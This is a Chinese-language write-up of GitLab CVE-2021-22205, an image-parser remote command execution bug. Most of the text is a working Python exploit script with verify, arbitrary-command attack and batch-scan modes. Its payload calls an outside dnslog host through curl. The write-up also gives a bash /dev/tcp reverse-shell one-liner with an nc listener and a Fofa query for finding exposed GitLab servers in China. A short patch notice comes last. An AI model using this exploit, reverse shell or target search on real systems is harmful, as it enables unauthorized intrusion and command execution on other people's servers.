CVE-2021-22205
Vuln Impact
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
影响版本
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
环境
export GITLAB_HOME=/srv/gitlab sudo docker run --detach \ --hostname gitlab.example.com \ --publish 443:443 --publish 80:80 \ --name gitlab \ --restart always \ --volume $GITLAB_HOME/config:/etc/gitlab \ --volume $GITLAB_HOME/logs:/var/log/gitlab \ --volume $GITLAB_HOME/data:/var/opt/gitlab \ gitlab/gitlab-ce:13.9.1-ce.0
Fofa语法
title="GitLab" && country="CN"
漏洞利用脚本
https://github.com/Al1ex/CVE-2021-22205
反弹Shell
如果目标主机出网的话,可以尝试反弹Shell
使用linux命令反弹shell
bash -i >& /dev/tcp/ip/port 0>&1
nc监听10000端口
nc -lvp 10000
成功上线
执行命令RCE
Exp
import requests from bs4 import BeautifulSoup import base64 import random import sys import os import argparse requests.packages.urllib3.disable_warnings() def title(): print(""" ______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____ / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___| | | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \ | |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) | \____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/ Author:Al1ex@Heptagram Github:https://github.com/Al1ex """) print(''' 验证模式：python CVE-2021-22205.py -v true -t target_url 攻击模式：python CVE-2021-22205.py -a true -t target_url -c command 批量检测：python CVE-2021-22205.py -s true -f file ''') def check(target_url): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def attack(target_url,command): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) print("[+] 请到dnslog或主机检查执行结果") else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def scan(file): for url_link in open(file, 'r', encoding='utf-8'): if url_link.strip() != '': url_path = format_url(url_link.strip()) check(url_path) def format_url(url): try: if url[:4] != "http": url = "https://" + url url = url.strip() return url except Exception as e: print('URL 错误 {0}'.format(url)) def main(): parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ') parser.add_argument('-t', '--target', type=str, help=' 目标URL ') parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ') parser.add_argument('-c', '--command', type=str, help=' 执行命令 ') parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ') parser.add_argument('-f', '--file', type=str, help=' 文件路径 ') args = parser.parse_args() verify_model = args.verify target_url = args.target attack_model = args.attack command = args.command scan_model = args.scan file = args.file if verify_model is True and target_url !=None: check(target_url) elif attack_model is True and target_url != None and command != None: attack(target_url,command) elif scan_model is True and file != None: scan(file) else: sys.exit(0) if __name__ == '__main__': title() main()
漏洞防范及修复
官方修复
目前官方已发布新版本修复了该漏洞，请受影响的用户尽快升级至最新版本进行防护，官方下载链接：
https://about.gitlab.com/update/
临时防护措施
使用白名单限制对Web端口的访问
